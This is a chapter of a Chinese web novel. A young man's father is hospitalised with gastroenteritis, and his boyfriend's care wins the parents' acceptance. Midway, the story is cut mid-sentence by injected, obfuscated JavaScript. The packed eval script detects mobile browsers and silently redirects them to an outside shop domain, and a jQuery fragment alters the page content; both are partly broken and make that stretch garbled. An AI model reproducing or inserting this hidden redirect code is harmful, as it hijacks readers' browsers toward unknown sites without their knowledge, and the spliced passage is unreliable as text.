凌晨三点,急促的敲门声像重锤一样砸在祁春章的门上,伴随着妈妈带着哭腔的呼喊:“春章,快起来!你爸肠胃炎犯了,疼得站不起来!”
他猛地从床上弹起来,来不及穿外套,穿着睡衣就冲出房间。客厅里,爸爸蜷缩在沙发上,脸色苍白得像纸,额头上布满细密的冷汗,双手紧紧按着肚子,身体因为剧痛微微颤抖,连说话的力气都没有,只能发出断断续续的呻吟。
妈妈手足无措地站在旁边,手里拿着手机,手抖得厉害,连拨号键都按不准,眼泪顺着脸颊往下掉,嘴里反复念叨着“怎么办”。
“快打120!”祁春章冲过去,扶住爸爸的肩膀,声音带着慌乱却异常坚定,“妈,你别慌,我来打!你去拿条毛巾给爸擦汗!”
他接过妈妈手里的手机,手指飞快地按下120,报地址、说症状,语气尽量平稳,可握着手机的手却在微微发抖。爸爸的体重不轻,他一个人根本扶不动,只能跪在沙发边,轻轻帮爸爸调整姿势,让他稍微舒服一点,指尖碰到爸爸冰凉的皮肤,心里一阵发紧。
救护车的鸣笛声在凌晨的街道上格外刺耳,十几分钟后就到了楼下。医护人员抬着担架上来,把爸爸小心翼翼地扶上去,祁春章和妈妈跟在后面,一路忐忑地赶往医院。急诊室的灯光惨白,消毒水的味道扑面而来,爸爸被推进检查室,祁春章和妈妈坐在外面的长椅上,妈妈双手合十,嘴里不停祈祷,眼泪一直没停。
检查结果出来了,急性肠胃炎,是因为爸爸贪凉吃了冰西瓜,又喝了点啤酒引发的,需要住院观察几天。办理住院手续、拿药、铺病床,祁春章忙前忙后,跑上跑下,额头上渗出一层薄汗。直到爸爸被安顿好,输上液,病情稳定下来,天已经亮了。他坐在病床边,看着爸爸睡着的样子,才发现自己手心全是汗,后背的睡衣也湿透了,黏腻地贴在身上。
他掏出手机,想给炀洛发消息报平安,却看到炀洛凌晨发来的消息:“做了个噩梦,梦到你出事了,醒了就睡不着,你没事吧?”后面跟着好几个焦急的表情,还有一条凌晨两点的未接来电。
心里一暖,指尖划过屏幕,回复:“我爸肠胃炎住院了,现在没事了,刚忙完。”
消息刚发出去,炀洛的电话就打了过来,铃声急促得像是在催促:“在哪家医院?我现在过去!”
“不用,你还要复习,马上就要模拟考了……”祁春章话还没说完,炀洛就挂了电话,只留下一句“发定位给我”。
不到一个小时,炀洛就出现在病房门口。他穿着一身干净的白色T恤和运动裤,头发有点乱,显然是匆忙赶来的,手里拎着一个大袋子,脸上带着急慌的神色,一进门就问:“叔叔怎么样了?没事吧?”
“刚睡着,医生说没大事,输完液观察两天就行。”祁春章站起来,看到他手里的袋子,“你怎么来了?不用上课吗?”
“我跟老师请假了,说家里有事。”炀洛把袋子放在床头柜上,打开给祁春章看,“我查了急性肠胃炎的饮食禁忌,买了点小米、山药、南瓜,都是清淡好消化的,还有软乎乎的全麦面包,叔叔现在不能吃油腻的,先垫垫肚子。”他从口袋里掏出一个小本子,上面记着密密麻麻的字,“医生说要少食多餐,不能吃辛辣油腻生冷,我还查了几个养胃的粥品做法,等会儿回去熬好给你送来,小米粥最养胃,先熬这个。”
祁春章看着他认真的样子,眼眶有点发热。
妈妈从外面打水回来,看到炀洛,愣了一下,随即说:“炀洛来了?快坐,辛苦你跑一趟。”语气里没有了以前的疏离,多了点客气的接纳,甚至主动给炀洛倒了杯水,“喝点水,跑这么远肯定渴了。”
“谢谢阿姨。”炀洛接过水杯,喝了一口,然后走到病床边,轻轻帮祁春章爸爸擦了擦额头的汗,动作轻柔,生怕弄醒他。他看到爸爸的手露在外面,又拿起旁边的薄被,小心翼翼地盖在爸爸身上,掖了掖被角,动作不算熟练,却格外认真。
妈妈看着他的样子,心里百感交集。她想起以前对炀洛的排斥,想起自己偷偷跟踪祁春章时的焦虑,再看看眼前这个细心照顾爱人的少年,心里的愧疚和认可交织在一起。她转身走进卫生间,拿出一条干净的毛巾,递给炀洛:“帮我给你叔叔擦擦脸吧,出汗太多了。”
炀洛接过毛巾,浸湿后拧干,轻轻帮祁春章爸爸擦脸,从额头到脸颊,再到脖颈,动作轻柔得像怕惊扰什么。爸爸似乎被惊动了,迷迷糊糊地睁开眼,看到炀洛,愣了一下,眼神里带着疑惑。
“叔叔,您醒了?感觉怎么样?还疼吗?”炀洛轻声问,语气带着关切。
爸爸摇了摇头,声音沙哑:“好多了,谢谢你啊。”
“不客气,应该的。”炀洛笑了笑,顺手拿起旁边的水杯,递到爸爸嘴边,“喝点温水吧,医生说多喝水有助于恢复。”
爸爸顺从地喝了两口,眼神里的陌生渐渐褪去,多了点温和。
祁春章站在旁边,看着两人自然的互动,心里踏实得不像话。他走到妈妈身边,小声说:“妈,我去买早餐,你和炀洛在这里吧。”
“我去吧,”炀洛抢先一步,“你陪着叔叔,我知道附近有一家早餐店,粥熬得好,我去买小米粥和清淡的小菜。”说完,不等祁春章反驳,就转身走出了病房。
妈妈看着炀洛的背影,叹了口气,对祁春章说:“这孩子,倒是个懂事的。”语气里没有了以前的偏见,多了点真心的认可。
接下来的几天,炀洛每天都来医院。早上带来熬好的
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17354864|199668||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
小米粥、山药粥或者南瓜粥,换着花样做,都是按照查来的食谱,软烂易消化;中午会带点清淡的炒菜和米饭,都是他自己在家做的,怕外面的菜太油腻;晚上就陪着祁春章在病房里复习,一人刷题,一人整理笔记,偶尔低声讨论两句,不打扰病人休息。
他会帮祁春章爸爸擦身、端水、递药,还会陪醒着的时候聊聊天,聊篮球,聊祁春章小时候的趣事。爸爸年轻时也喜欢打篮球,只是后来工作忙就很少打了,两人聊起篮球比赛,聊起省赛时祁春章的绝杀,聊得格外投机。爸爸看着炀洛眼里的光,想起祁春章每次提起篮球时的兴奋,心里的最后一点隔阂也慢慢消散了。
有一次,爸爸醒过来,看到炀洛正在给祁春章讲数学题,两人头挨得很近,讨论得很认真。他忍不住开口:“炀洛,你数学这么好,以后想报什么专业?”
“数学吧。”炀洛笑着说,“他想报体育教育专业,到时候还能一起打球。”
“不错。”爸爸点点头,看向祁春章,“你可得好好努力,别拖人家后腿。”语气里带着调侃,却没有了以前的严厉。
祁春章挠了挠头,笑着说:“放心吧爸,我肯定能考上。”
第五天,爸爸可以出院了。办理出院手续时,炀洛跑前跑后,帮着拎东西、扶着爸爸,像家人一样。走到医院门口,爸爸突然停下脚步,看着炀洛,认真地说:“炀洛,这些天辛苦你了,谢谢你照顾我。以后常来家里吃饭,你阿姨做的糖醋排骨,春章爱吃,你也尝尝。”
炀洛愣了一下,随即笑着点头:“谢谢叔叔,我会的。”
回家的路上,妈妈坐在副驾驶,回头对后座的两个少年说:“等你们高考结束,阿姨请你们吃大餐。”
祁春章和炀洛对视一眼,都从彼此眼里看到了欢喜和坚定。祁春章悄悄握住炀洛的手,指尖相触的瞬间,两人都笑了。
回到家,炀洛帮着把爸爸扶到床上休息,然后走进厨房,想帮妈妈准备午饭。妈妈笑着说:“不用你忙,你和春章去休息会儿,复习这么累。”可炀洛没听,还是拿起菜篮帮忙择菜,妈妈也没再拒绝,两人一边择菜一边聊天,妈妈问起他的学习情况,炀洛一一回答,偶尔还会聊两句祁春章的糗事,厨房里传来阵阵笑声。
祁春章靠在厨房门口,看着里面的画面,心里满是踏实和幸福。
午饭时,爸爸拿起筷子,夹了一块山药放进炀洛碗里:“多吃点,补身体。”
“谢谢叔叔。”炀洛拿起筷子,又夹了一块排骨放进祁春章碗里,“你也多吃点,上次模拟考进步那么多。”
妈妈看着眼前的画面,嘴角带着温柔的笑意。桌子上的饭菜冒着热气,橘子糖放在一旁的小盘子里,阳光透过窗户洒进来,温暖而明亮。